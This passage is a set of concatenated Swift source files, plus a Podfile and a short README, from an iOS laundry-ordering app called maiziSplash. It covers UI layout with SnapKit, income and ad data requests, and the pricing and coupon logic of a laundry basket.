self.selectionStyle = .None
nameLabel.text = name
hintLabel.text = hint
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
func setUI() {
self.backgroundColor = UIColor.whiteColor()
self.layer.borderColor = UIColor.borderColor().CGColor
self.layer.borderWidth = 1.0
self.addSubview(nameLabel)
nameLabel.font = UIFont(name: "Heiti SC", size: 17)
nameLabel.sizeToFit()
nameLabel.snp_makeConstraints { (make) -> Void in
make.centerY.equalTo(self)
make.leading.equalTo(self).offset(15)
make.top.bottom.equalTo(self).inset(10)
}
self.addSubview(hintImageView)
hintImageView.image = UIImage(named: "11-1")
hintImageView.snp_makeConstraints { (make) -> Void in
make.centerY.equalTo(self)
make.top.bottom.equalTo(self).inset(15)
make.trailing.equalTo(self).inset(15)
make.width.equalTo(hintImageView.snp_height).multipliedBy(0.58)
}
self.addSubview(hintLabel)
hintLabel.font = UIFont(name: "Heiti SC", size: 15)
hintLabel.sizeToFit()
hintLabel.snp_makeConstraints { (make) -> Void in
make.centerY.equalTo(self)
make.top.bottom.equalTo(self).inset(10)
make.trailing.equalTo(hintImageView.snp_leading).offset(-10)
}
}
}
<file_sep>//
// MyViewController.swift
// maiziSplash
//
// Created by 湛礼翔 on 15/10/18.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class MyViewController: UIViewController {
@IBOutlet var nameLabel: UILabel!
@IBOutlet var poneNumberLaber: UILabel!
@IBOutlet var myIndent: UILabel!
@IBOutlet var myMoney: UILabel!
@IBOutlet var myAdress: UILabel!
@IBOutlet var cheakNumber: UILabel!
@IBOutlet var shareNumber: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
setupView()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设置UI
func setupView() {
nameLabel.adjustsFontSizeToFitWidth = true
poneNumberLaber.adjustsFontSizeToFitWidth = true
poneNumberLaber.text = NSUserDefaults.standardUserDefaults().valueForKey("userPoneNumber") as? String
myIndent.adjustsFontSizeToFitWidth = true
myMoney.adjustsFontSizeToFitWidth = true
myAdress.adjustsFontSizeToFitWidth = true
shareNumber.adjustsFontSizeToFitWidth = true
cheakNumber.adjustsFontSizeToFitWidth = true
}
//MARK: - “验证优惠码”按钮的点击事件
@IBAction func cheaKNumberButtonClick(sender: AnyObject) {
let vc = CheakNumberViewController()
self.navigationController?.pushViewController(vc, animated: true)
}
}
<file_sep>//
// IncomeViewController.swift
// maiziSplash
//
// Created by zhan on 15/10/23.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class IncomeViewController: UIViewController {
@IBOutlet var yearlyIncomeLabel: UILabel!
@IBOutlet var balancingLabel: UILabel!
@IBOutlet var monthlyIncomeLabel: UILabel!
@IBOutlet var baseSalaryLabel: UILabel!
@IBOutlet var tableView: UITableView!
var dailyIncome: [dailyInfo] = []
override func viewDidLoad() {
super.viewDidLoad()
//设定tableView的delegate和dataSource
self.tableView.delegate = self
self.tableView.dataSource = self
//调用updateUI函数
self.setupUI()
//请求网络
HttpTool.sharedInstance.getIncome { (income) -> Void in
self.yearlyIncomeLabel.text = "\(income.yearlyIncome!)"
self.baseSalaryLabel.text = "\(income.baseSalary!)元"
if income.balancing! {
self.balancingLabel.text = "已结算"
}else{
self.balancingLabel.text = "未结算"
}
self.dailyIncome = income.dailyIncome!
//计算月收益
self.monthlyIncomeLabel.text = "\(self.monthlyIncome() + income.baseSalary!)元"
self.tableView.reloadData()
}
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设置UI
func setupUI(){
self.yearlyIncomeLabel.sizeToFit()
self.monthlyIncomeLabel.sizeToFit()
self.baseSalaryLabel.sizeToFit()
}
//MARK: - 计算一个月的总收益
func monthlyIncome() -> Int {
var mothlyIncome = 0
for i in 0..<dailyIncome.count {
for j in 0..<dailyIncome[i].orders!.count {
mothlyIncome += dailyIncome[i].orders![j].income!
}
}
return mothlyIncome
}
}
//MARK: - tableViewDelegate
extension IncomeViewController: UITableViewDelegate {
func tableView(tableView: UITableView, heightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {
return 95.0
}
func tableView(tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {
return 35.0
}
func tableView(tableView: UITableView, heightForFooterInSection section: Int) -> CGFloat {
return 10.0
}
}
//MARK: - tableViewDataSource
extension IncomeViewController: UITableViewDataSource {
func numberOfSectionsInTableView(tableView: UITableView) -> Int {
return dailyIncome.count
}
func tableView(tableView: UITableView, titleForHeaderInSection section: Int) -> String? {
let date = dailyIncome[section].date
return date!
}
func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
let orders = dailyIncome[section].orders
let cellNumber = orders!.count
return cellNumber
}
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
let cell = self.tableView.dequeueReusableCellWithIdentifier("Cell") as! incomeCell
//获取到当前订单,并且将订单信息显示在cell上
cell.orderIdLabel.text = dailyIncome[indexPath.section].orders![indexPath.row].orderId
cell.orderAmountLabel.text = "\(dailyIncome[indexPath.section].orders![indexPath.row].orderAmount!)元"
cell.timeLabel.text = dailyIncome[indexPath.section].orders![indexPath.row].time!
cell.incomeLabel.text = "\(dailyIncome[indexPath.section].orders![indexPath.row].income!)元"
return cell
}
}
<file_sep># maiziSplash
A o2o project about laundry
//这是一个用于洗衣的O2O App
//该App使用swift语言编写
<file_sep>//
// CheakNumberViewController.swift
// maiziSplash
//
// Created by zhan on 15/11/11.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class CheakNumberViewController: UIViewController {
private var navigationBar = UIView(frame: CGRectZero)
private var backButton = UIButton(frame: CGRectZero)
private var navigationBarTitle = UILabel(frame: CGRectZero)
private var textField = UITextField(frame: CGRectZero)
private var makeSureButton = UIButton(frame: CGRectZero)
override func viewDidLoad() {
super.viewDidLoad()
setupUI()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设定UI
func setupUI() {
self.view.backgroundColor = UIColor.grayBackgroundColor()
//给背景添加一个点按手势
let gustrue = UITapGestureRecognizer(target: self, action: "backgroundClick")
self.view.addGestureRecognizer(gustrue)
//写入navigationBar的约束
self.view.addSubview(navigationBar)
navigationBar.backgroundColor = UIColor.whiteColor()
navigationBar.snp_makeConstraints(closure: { (make) -> Void in
make.leading.trailing.top.equalTo(self.view)
make.height.equalTo(64)
})
//写入backButton的约束
navigationBar.addSubview(backButton)
backButton.addTarget(self, action: "backButtonClick", forControlEvents: .TouchUpInside)
backButton.setImage(UIImage(named: "1-1"), forState: .Normal)
backButton.snp_makeConstraints { (make) -> Void in
make.height.width.equalTo(44)
make.leading.bottom.equalTo(navigationBar)
}
//写入navigationBarTitle的约束
navigationBar.addSubview(navigationBarTitle)
navigationBarTitle.text = "优惠码"
navigationBarTitle.font = UIFont(name: "Heiti SC", size: 17)
navigationBarTitle.sizeToFit()
navigationBarTitle.snp_makeConstraints { (make) -> Void in
make.centerX.equalTo(self.view)
make.centerY.equalTo(backButton)
}
//写入textField的约束
self.view.addSubview(textField)
textField.backgroundColor = UIColor.whiteColor()
textField.layer.borderWidth = 1.0
textField.layer.borderColor = UIColor.borderColor().CGColor
textField.placeholder = " 请输入优惠序号"
textField.snp_makeConstraints { (make) -> Void in
make.leading.trailing.equalTo(self.view).inset(15)
make.top.equalTo(navigationBar.snp_bottom).offset(20)
make.height.equalTo(self.view.snp_height).multipliedBy(0.0883)
}
//写入makeSureButton的约束
self.view.addSubview(makeSureButton)
makeSureButton.backgroundColor = UIColor.mianBlue()
makeSureButton.setTitle("确定", forState: .Normal)
makeSureButton.setTitleColor(UIColor.whiteColor(), forState: .Normal)
makeSureButton.titleLabel?.font = UIFont(name: "Heiti SC", size: 17)
makeSureButton.showsTouchWhenHighlighted = true
makeSureButton.snp_makeConstraints { (make) -> Void in
make.leading.trailing.height.equalTo(textField)
make.top.equalTo(textField.snp_bottom).offset(30)
}
}
//MARK: - backButton的点击事件
func backButtonClick() {
self.navigationController?.popViewControllerAnimated(true)
}
//MARK: 背景的点击事件
func backgroundClick() {
textField.resignFirstResponder()
}
}
<file_sep>//
// UserInfoTableViewCell.swift
// maiziSplash
//
// Created by zhan on 15/11/14.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class UserInfoCell: UITableViewCell {
var iconImageView = UIImageView(frame: CGRectZero)
var poneImageView = UIImageView(frame: CGRectZero)
var addressImageView = UIImageView(frame: CGRectZero)
var nameLabel = UILabel(frame: CGRectZero)
var poneLabel = UILabel(frame: CGRectZero)
var addressLabel = UILabel(frame: CGRectZero)
var hintImageView = UIImageView(frame: CGRectZero)
override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setUI()
self.selectionStyle = .None
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
func setUI() {
self.backgroundColor = UIColor.whiteColor()
self.addSubview(iconImageView)
iconImageView.image = UIImage(named: "8-1")
iconImageView.snp_makeConstraints { (make) -> Void in
make.top.leading.equalTo(self).inset(10)
make.width.equalTo(iconImageView.snp_height)
.multipliedBy(0.73)
}
self.addSubview(addressImageView)
addressImageView.image = UIImage(named: "10-0")
addressImageView.snp_makeConstraints { (make) -> Void in
make.centerX.equalTo(iconImageView)
make.top.equalTo(iconImageView.snp_bottom).offset(8)
make.width.equalTo(iconImageView)
make.height.equalTo(iconImageView)
make.bottom.equalTo(self).inset(10)
}
self.addSubview(nameLabel)
nameLabel.font = UIFont(name: "Heiti SC", size: 15)
nameLabel.sizeToFit()
nameLabel.snp_makeConstraints { (make) -> Void in
make.bottom.equalTo(iconImageView)
make.leading.equalTo(iconImageView.snp_trailing).offset(3)
}
self.addSubview(hintImageView)
hintImageView.image = UIImage(named: "11-1")
hintImageView.snp_makeConstraints { (make) -> Void in
make.trailing.equalTo(self).offset(-5)
make.centerY.equalTo(self)
make.height.equalTo(iconImageView)
make.width.equalTo(hintImageView.snp_height).multipliedBy(0.583)
}
self.addSubview(poneLabel)
poneLabel.font = UIFont(name: "Heiti SC", size: 15)
poneLabel.sizeToFit()
poneLabel.snp_makeConstraints { (make) -> Void in
make.trailing.equalTo(hintImageView.snp_leading).offset(-10)
make.bottom.equalTo(iconImageView)
}
self.addSubview(poneImageView)
poneImageView.image = UIImage(named: "9-1")
poneImageView.snp_makeConstraints { (make) -> Void in
make.trailing.equalTo(poneLabel.snp_leading).offset(-3)
make.centerY.equalTo(iconImageView)
make.width.equalTo(iconImageView)
make.height.equalTo(iconImageView)
}
self.addSubview(addressLabel)
addressLabel.font = UIFont(name: "Heiti SC", size: 12)
addressLabel.numberOfLines = 0
addressLabel.snp_makeConstraints { (make) -> Void in
make.leading.equalTo(addressImageView.snp_trailing).offset(3)
make.top.equalTo(addressImageView.snp_top)
make.trailing.equalTo(poneLabel.snp_trailing)
}
}
}
<file_sep>//
// SeparatesViewController.swift
// maiziSplash
//
// Created by zhan on 15/11/6.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class SeparatesViewController: UIViewController {
var buttonArray: [String] = ["春/秋装","夏装","冬装","皮衣"]
var clothesChooseBar: ClothesChooseBar?
var dataSource: [ClothesInfo]?
let springAndFallClothes = [ClothesInfo(clothesName: "T恤",
season: .springAndFall),
ClothesInfo(clothesName: "衬衫", season: .springAndFall),
ClothesInfo(clothesName: "短风衣",
season: .springAndFall),
ClothesInfo(clothesName: "长风衣",
season: .springAndFall),
ClothesInfo(clothesName: "西装",
season: .springAndFall)]
let summerClothes = [ClothesInfo(clothesName: "鸭舌帽", season: .summer),
ClothesInfo(clothesName: "短衬衫", season: .summer),
ClothesInfo(clothesName: "短裙", season: .summer),
ClothesInfo(clothesName: "长裙", season: .summer),
ClothesInfo(clothesName: "套裙", season: .summer),
ClothesInfo(clothesName: "裤装", season: .summer)]
let winterClothes = [ClothesInfo(clothesName: "保暖衬衫", season: .winter),
ClothesInfo(clothesName: "风衣", season: .winter),
ClothesInfo(clothesName: "狐狸毛领", season: .winter),
ClothesInfo(clothesName: "毛外套", season: .winter),
ClothesInfo(clothesName: "棉服", season: .winter),
ClothesInfo(clothesName: "呢子大衣", season: .winter),
ClothesInfo(clothesName: "睡袍", season: .winter),
ClothesInfo(clothesName: "围巾", season: .winter),
ClothesInfo(clothesName: "羽绒服", season: .winter)]
let leatherClothes = [ClothesInfo(clothesName: "长款皮衣", season: .leather),
ClothesInfo(clothesName: "短款皮衣", season: .leather)]
@IBOutlet var collectionView: UICollectionView!
override func viewDidLoad() {
super.viewDidLoad()
setUI()
clothesChooseBar?.delegate = self
collectionView.delegate = self
collectionView.dataSource = self
dataSource = springAndFallClothes
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: 设置UI
func setUI() {
clothesChooseBar = ClothesChooseBar(frame: CGRect(x: 0,
y: 64,
width: screenWidth,
height: 45),
buttonArray: buttonArray)
self.view.addSubview(clothesChooseBar!)
self.collectionView.backgroundColor = UIColor.borderColor()
}
//MARK: - 导航栏返回按钮的点击事件
@IBAction func backButtonClick(sender: UIButton) {
self.navigationController?.popViewControllerAnimated(true)
}
}
//MARK: - ClothesChooseBarDelegate 将选中的button的tag回传到当前controller
extension SeparatesViewController: ClothesChooseBarDelegate {
func didSelectButton(numbel: Int) {
switch numbel {
case 0:
dataSource = springAndFallClothes
case 1:
dataSource = summerClothes
case 2:
dataSource = winterClothes
case 3:
dataSource = leatherClothes
default:
dataSource = nil
}
collectionView.reloadData()
}
}
//MARK: - UICollectionViewDataSource
extension SeparatesViewController: UICollectionViewDataSource {
func numberOfSectionsInCollectionView(collectionView: UICollectionView) -> Int {
return 1
}
func collectionView(collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return (dataSource?.count)!
}
func collectionView(collectionView: UICollectionView, cellForItemAtIndexPath indexPath: NSIndexPath) -> UICollectionViewCell {
let cell = collectionView.dequeueReusableCellWithReuseIdentifier("clothesCell", forIndexPath: indexPath) as! ClothesCell
cell.clothesImageView.image = dataSource![indexPath.row].clothesImage
cell.clothesNameLabel.text = dataSource![indexPath.row].clothesName
cell.priceLabel.text = "¥\(dataSource![indexPath.row].price)"
return cell
}
}
//MARK: - UICollectionViewDelegate
extension SeparatesViewController: UICollectionViewDelegate {
func collectionView(collectionView: UICollectionView, didSelectItemAtIndexPath indexPath: NSIndexPath) {
let vc = self.storyboard?.instantiateViewControllerWithIdentifier("addShoopingCartViewController") as! addShoopingCartViewController
//将选中衣服的信息传给模态窗口
vc.clothesInfo = dataSource![indexPath.row]
vc.modalPresentationStyle = .Custom
//let backgroungView =
//弹出模态窗口
self.navigationController?.presentViewController(vc, animated: true, completion: { () -> Void in
vc.view.superview?.backgroundColor = UIColor(red: 0, green: 0, blue: 0, alpha: 0.5)
})
}
}
//MARK: - UICollectionViewDelegateFlowLayout
extension SeparatesViewController: UICollectionViewDelegateFlowLayout {
func collectionView(collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, insetForSectionAtIndex section: Int) -> UIEdgeInsets {
return UIEdgeInsets(top: 20, left: 10, bottom: 20, right: 10)
}
func collectionView(collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumInteritemSpacingForSectionAtIndex section: Int) -> CGFloat {
return 10
}
func collectionView(collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumLineSpacingForSectionAtIndex section: Int) -> CGFloat {
return 10
}
func collectionView(collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAtIndexPath indexPath: NSIndexPath) -> CGSize {
return CGSize(width: (screenWidth - 30)/2, height: (screenWidth - 30) * 4 / 7)
}
}
<file_sep>//
// HttpTool.swift
// maiziSplash
//
// Created by zhan on 15/10/22.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import Alamofire
import SwiftyJSON
class HttpTool {
class var sharedInstance: HttpTool {
struct Static {
static var onceToken: dispatch_once_t = 0
static var instance : HttpTool? = nil
}
dispatch_once(&Static.onceToken){
Static.instance = HttpTool()
}
return Static.instance!
}
private func getRequst(url: String,parameter:[String : AnyObject]?,completionHandler: ( NSData?, ErrorType?) -> Void){
request(.GET, NetInfo.WEB_SERVER + url, parameters: parameter, encoding: ParameterEncoding.URL).response { (_, _, data, error) -> Void in
completionHandler(data,error)
}
}
//请求广告数据
func getAdInfo(completionHandler: (urls:[String]) -> Void){
self.getRequst(NetInfo.GET_ADS_DATA, parameter: nil) { (data, error) -> Void in
//判断是否出错
if error == nil{
//如果没有出错开始解析Json
let json = JSON(data: (data as NSData!))
let ads = json["ads"]
var addrs = [String]()
for i in 0 ..< ads.count{
if let imageAddress = ads[i]["image"].string{
addrs.append(imageAddress)
}
}
completionHandler(urls: addrs)
}
}
}
//请求收益数据
func getIncome(completionHandler: (income: incomeInfo) -> Void) {
self.getRequst(NetInfo.GET_INCOME_DATA, parameter: nil) { (data, error) -> Void in
//如果没有错误,解析Json
if error == nil {
let json = JSON(data: (data as NSData!))
let yearlyIncome = json["yearlyIncome"].int
let baseSaraly = json["baseSalary"].int
let balancing = json["balancing"].bool
let dailyIncomeArray = json["dailyIncome"].arrayObject
var dailyInfoArray = [dailyInfo]()
for i in 0..<dailyIncomeArray!.count {
let oneDayInfo = dailyInfo()
oneDayInfo.date = dailyIncomeArray![i]["date"] as? String
oneDayInfo.orders = [orderInfo]()
for j in 0..<dailyIncomeArray![i]["orders"]!!.count {
let order = orderInfo()
order.orderId = dailyIncomeArray![i]["orders"]!![j]["orderId"] as? String
order.orderAmount = dailyIncomeArray![i]["orders"]!![j]["orderAmount"] as? Int
order.income = dailyIncomeArray![i]["orders"]!![j]["income"] as? Int
order.time = dailyIncomeArray![i]["orders"]!![j]["time"] as? String
oneDayInfo.orders?.append(order)
}
dailyInfoArray.append(oneDayInfo)
}
//封装数据
let incomeObj = incomeInfo()
incomeObj.yearlyIncome = yearlyIncome
incomeObj.baseSalary = baseSaraly
incomeObj.balancing = balancing
incomeObj.dailyIncome = dailyInfoArray
completionHandler(income: incomeObj)
}
}
}
}
<file_sep>//
// MaiziSplashViewController.swift
// maiziSplash
//
// Created by 湛礼翔 on 15/10/9.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class GuideViewController: UIViewController {
var scrollView: UIScrollView?
var loginButton: UIButton?
var imageArray: [String] = ["0-引-1","0-引-2","0-引-3"]
var pageControl: UIPageControl?
override func viewDidLoad() {
super.viewDidLoad()
setupView()
scrollView?.delegate = self
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设置UI
func setupView() {
//初始化scrollView
scrollView = UIScrollView(frame: CGRect(x: 0,
y: 0,
width: screenWidth,
height: screenHeight))
scrollView?.contentSize = CGSize(width: screenWidth * CGFloat((imageArray.count)), height: screenHeight)
scrollView?.pagingEnabled = true
scrollView?.showsHorizontalScrollIndicator = false
automaticallyAdjustsScrollViewInsets = false
view.addSubview(scrollView!)
//初始化imageView
for i in 0..<imageArray.count {
let imageView = UIImageView(frame: CGRect(x: screenWidth * CGFloat(i),
y: 0,
width: screenWidth,
height: screenHeight))
//给imageView添加图片
imageView.image = UIImage(named: imageArray[i])
scrollView?.addSubview(imageView)
}
//初始化loginButton
loginButton = UIButton(frame: CGRect(x: screenWidth / 2-75,
y: screenHeight - 90,
width: 150,
height: 35))
loginButton?.setImage(UIImage(named: "0-1-1"), forState: UIControlState.Normal)
view.addSubview(loginButton!)
loginButton?.addTarget(self, action: "loginButtonClick", forControlEvents: UIControlEvents.TouchUpInside)
//初始化pageControll
pageControl = UIPageControl(frame: CGRect(x: screenWidth / 2 - 30,
y: screenHeight - 30,
width: 60,
height: 10))
pageControl?.numberOfPages = imageArray.count
pageControl?.currentPageIndicatorTintColor = UIColor(red: 250 / 255,
green: 111 / 255,
blue: 95 / 255,
alpha: 1.0)
pageControl?.pageIndicatorTintColor = UIColor(red: 124 / 255,
green: 195 / 255,
blue: 242 / 255,
alpha: 1.0)
view.addSubview(pageControl!)
}
//MARK: - loginButton点击事件
func loginButtonClick() {
let vc = UIStoryboard(name: "Main", bundle: nil).instantiateViewControllerWithIdentifier("loginViewController")
navigationController?.pushViewController(vc, animated: true)
}
}
//MARK: - scrollViewDelegate
extension GuideViewController: UIScrollViewDelegate{
func scrollViewDidScroll(scrollView: UIScrollView) {
let currentPage = scrollView.contentOffset.x / screenWidth
pageControl?.currentPage = Int(currentPage)
}
}
<file_sep>//
// incomeCell.swift
// maiziSplash
//
// Created by zhan on 15/11/5.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class incomeCell: UITableViewCell {
@IBOutlet var orderIdLabel: UILabel!
@IBOutlet var timeLabel: UILabel!
@IBOutlet var orderAmountLabel: UILabel!
@IBOutlet var incomeLabel: UILabel!
override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
}
<file_sep>//
// AppDelegate.swift
// maiziSplash
//
// Created by 湛礼翔 on 15/10/9.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: [NSObject: AnyObject]?) -> Bool {
let isOpened = NSUserDefaults.standardUserDefaults().valueForKey("isOpened") as? Bool
if (isOpened != nil){
let notFirstLoadViewController = UIStoryboard(name: "Main", bundle: nil).instantiateViewControllerWithIdentifier("nv")
self.window?.rootViewController = notFirstLoadViewController
}
else{
let isFirstLoadViewController = GuideViewController()
let nvController = UINavigationController(rootViewController: isFirstLoadViewController)
nvController.navigationBar.hidden = true
self.window?.rootViewController = nvController
NSUserDefaults.standardUserDefaults().setBool(true, forKey: "isOpened")
}
return true
}
func applicationWillResignActive(application: UIApplication) {
}
func applicationDidEnterBackground(application: UIApplication) {
}
func applicationWillEnterForeground(application: UIApplication) {
}
func applicationDidBecomeActive(application: UIApplication) {
}
func applicationWillTerminate(application: UIApplication) {
}
}
<file_sep># Uncomment this line to define a global platform for your project
platform :ios, '8.0'
# Uncomment this line if you're using Swift
use_frameworks!
target 'maiziSplash' do
pod 'Alamofire'
pod 'SDWebImage'
pod 'RJImageLoader'
pod 'SwiftyJSON'
pod 'CXCardView'
pod 'SnapKit'
end
target 'maiziSplashTests' do
end
target 'maiziSplashUITests' do
end
<file_sep>//
// clothesBasketViewController.swift
// maiziSplash
//
// Created by zhan on 15/11/9.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class clothesBasketViewController: UIViewController {
var isUseCoupon = false //是否使用优惠券
var totalPrice = 0 //费用总计
@IBOutlet var deleteAllOrderButton: UIButton! //“删除订单”按钮
@IBOutlet var tableView: UITableView!
@IBOutlet var shouldPayMoneyLabel: UILabel! //支付的费用
//当购物篮为空的时候显示的图片
private var baskitNilImageView = UIImageView(frame: CGRectZero)
override func viewDidLoad() {
super.viewDidLoad()
tableView.dataSource = self
tableView.delegate = self
//设置tableView的cell分割方式
tableView.separatorStyle = .None
//tableView中注册一个cell
tableView.registerClass(OrderCell.self, forCellReuseIdentifier: "OrderCell")
setUI()
}
override func viewWillAppear(animated: Bool) {
//每次显示的时候判断是否有订单,如果没有,则显示洗衣篮为空,并且隐藏“删除订单”按钮
orderArrayIsNil()
//计算价格并且计算之后刷新tableView
functionForTotalPrice()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设置UI的函数
private func setUI() {
//baskitNilImageView的约束
self.view.addSubview(baskitNilImageView)
baskitNilImageView.image = UIImage(named: "3-4-1洗衣篮-空")
baskitNilImageView.snp_makeConstraints(closure: { (make) -> Void in
make.leading.trailing.bottom.equalTo(self.view)
make.top.equalTo(self.view).inset(64)
})
}
//MARK: - 计算总价格的函数
private func functionForTotalPrice() {
var totalPrice = 0
for i in 0..<OrderCache.sharedInstance.orderArray.count {
totalPrice += OrderCache.sharedInstance.orderArray[i].clothesNumber * OrderCache.sharedInstance.orderArray[i].clothes.price
}
self.totalPrice = totalPrice
if isUseCoupon && self.totalPrice >= 30 {
shouldPayMoneyLabel.text = "¥\(self.totalPrice - 30)"
}else {
shouldPayMoneyLabel.text = "¥\(self.totalPrice)"
}
tableView.reloadData()
}
//MARK: - 当订单为空的时候做的一些操作
private func orderArrayIsNil() {
baskitNilImageView.hidden = OrderCache.sharedInstance.orderArray.isEmpty ? false : true
deleteAllOrderButton.hidden = OrderCache.sharedInstance.orderArray.isEmpty ? true : false
//订单全部删除时重置isUseCoupon
if OrderCache.sharedInstance.orderArray.isEmpty {
isUseCoupon = false
}
}
//MARK: - 导航栏上的“删除订单”按钮点击事件
@IBAction func deleteAllOrderButtonClick(sender: UIButton) {
OrderCache.sharedInstance.orderArray.removeAll()
tableView.reloadData()
//清空订单之后进行一系列操作
orderArrayIsNil()
}
}
//MARK: - UITableViewDataSource
extension clothesBasketViewController: UITableViewDataSource {
func numberOfSectionsInTableView(tableView: UITableView) -> Int {
return 2
}
func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
if section == 0 {
return OrderCache.sharedInstance.orderArray.count + 1
}else {
return 2
}
}
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
if indexPath.section == 0 {
return returnFirstSectionCell(indexPath)
}else {
return returnSecondSectionCell(indexPath)
}
}
//MARK: - 返回第一个Section的cell,包含订单和费用总计
func returnFirstSectionCell(indexPath: NSIndexPath) -> UITableViewCell {
//最后一个cell是费用总计
if indexPath.row == OrderCache.sharedInstance.orderArray.count {
let totalPriceCell = TotalPriceCell(style: .Default, reuseIdentifier: "totalPriceCell")
totalPriceCell.totalPriceLabel.text = "¥\(totalPrice)"
return totalPriceCell
}else {
let cell = tableView.dequeueReusableCellWithIdentifier("OrderCell") as! OrderCell
cell.delegate = self //设置cell的delegate是当前controller
let order = OrderCache.sharedInstance.orderArray[indexPath.row]
//判断是件洗还是袋洗,设置不同的图框
if order.clothes.clothesType == Type.bag {
cell.borderView.layer.borderColor = UIColor(red: 0,
green: 194 / 255,
blue: 171 / 255,
alpha: 1.0).CGColor
}else{
cell.borderView.layer.borderColor = UIColor.mianBlue().CGColor
}
cell.borderView.layer.borderWidth = 1.0
cell.clothesImageView.image = order.clothes.clothesImage
cell.clothesNameLabel.text = "\(order.clothes.clothesName)"
cell.priceLabel.text = "¥\(order.clothes.price)"
cell.numberLabel.text = "\(order.clothesNumber)"
//将订单信息传入cell中,用于加减操作
cell.order = order
//将当前的indexPath传入cell,用于进行删除当前订单操作
cell.cellIndexPath = indexPath.row
return cell
}
}
//MARK: - 返回第二个section的cell
func returnSecondSectionCell(indexPath: NSIndexPath) -> UITableViewCell {
if indexPath.row == 0 {
if isUseCoupon {
let couponCell = CouponCell(style: .Default, reuseIdentifier: "couponCell")
couponCell.couponImageView.image = UIImage(named: "6-4")
return couponCell
}else {
let openCouponCell = OpenCouponOrUserInfoCell(style: .Default, reuseIdentifier: "openCouponCell", name: "洗衣券", hint: " 点击使用")
return openCouponCell
}
}else {
let openUserInfoCell = OpenCouponOrUserInfoCell(style: .Default, reuseIdentifier: "openUserInfoCell", name: "用户信息", hint: "填写")
return openUserInfoCell
}
}
}
//MARK: - UITableViewDelegate
extension clothesBasketViewController: UITableViewDelegate {
func tableView(tableView: UITableView, heightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {
//第一段的cell的高度
if indexPath.section == 0 {
if indexPath.row == OrderCache.sharedInstance.orderArray.count {
return screenWidth * 90 / 640 //合计费用高度
}else {
return screenWidth * 180 / 640 //订单高度
}
}else {
if indexPath.row == 0 && isUseCoupon {
return screenWidth * 180 / 640
}else {
return screenWidth * 90 / 640
}
}
}
func tableView(tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {
return screenWidth * 7 / 640
}
func tableView(tableView: UITableView, heightForFooterInSection section: Int) -> CGFloat {
return screenWidth * 7 / 640
}
func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) {
if indexPath.section == 1 && indexPath.row == 0 {
//如果费用总计大于等于30,可以使用优惠券
if totalPrice >= 30 {
isUseCoupon = true
tableView.reloadData()
//计算价格
functionForTotalPrice()
}else {
let alertView = UIAlertController(title: "温馨提示", message: "费用低于30元不可以使用洗衣券", preferredStyle: .Alert)
let cancelAction = UIAlertAction(title: "确定", style: .Cancel, handler: nil)
alertView.addAction(cancelAction)
self.presentViewController(alertView, animated: true, completion: nil)
}
}
if indexPath.section == 1 && indexPath.row == 1 {
let vc = self.storyboard?.instantiateViewControllerWithIdentifier("UserInfoViewController")
self.navigationController?.pushViewController(vc!, animated: true)
}
}
}
//MARK: - OrderCellDelegate 用于回传cell中的删除操作
extension clothesBasketViewController: OrderCellDelegate {
func didDelete(indexPath: Int) {
OrderCache.sharedInstance.orderArray.removeAtIndex(indexPath)
tableView.reloadData()
//每次删除之后判断订单是否为空,如果为空则要进行一些操作
orderArrayIsNil()
//每进行一次删除重新计算一次总价格
functionForTotalPrice()
}
//将cell中数量改变的消息回传
func didChangeNumber() {
functionForTotalPrice()
}
}
<file_sep>//
// TotalPriceCell.swift
// maiziSplash
//
// Created by zhan on 15/11/16.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class TotalPriceCell: UITableViewCell {
private var nameLabel = UILabel(frame: CGRectZero)
var totalPriceLabel = UILabel(frame: CGRectZero)
